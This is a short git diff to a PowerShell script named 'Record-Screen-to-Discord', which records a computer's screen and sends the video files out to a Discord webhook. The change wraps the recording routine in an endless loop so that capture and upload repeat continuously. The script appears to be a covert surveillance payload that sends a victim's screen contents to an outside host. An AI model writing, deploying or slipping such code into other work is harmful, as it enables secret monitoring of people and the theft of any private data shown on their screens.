diff --git a/Record-Screen-to-Discord/main.ps1 b/Record-Screen-to-Discord/main.ps1 index 33e8d1f..87bbe6c 100644 --- a/Record-Screen-to-Discord/main.ps1 +++ b/Record-Screen-to-Discord/main.ps1 @@ -8,6 +8,8 @@ This script records the screen for a specified time to a mkv file, then sends th $hookurl = "$dc" if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} +while($true){ + Function RecordScreen{ param ([int[]]$t) if ($t.Length -eq 0){$t = 10} @@ -34,4 +36,6 @@ Function RecordScreen{ rm -Path $mkvPath -Force } -RecordScreen \ No newline at end of file +RecordScreen + +}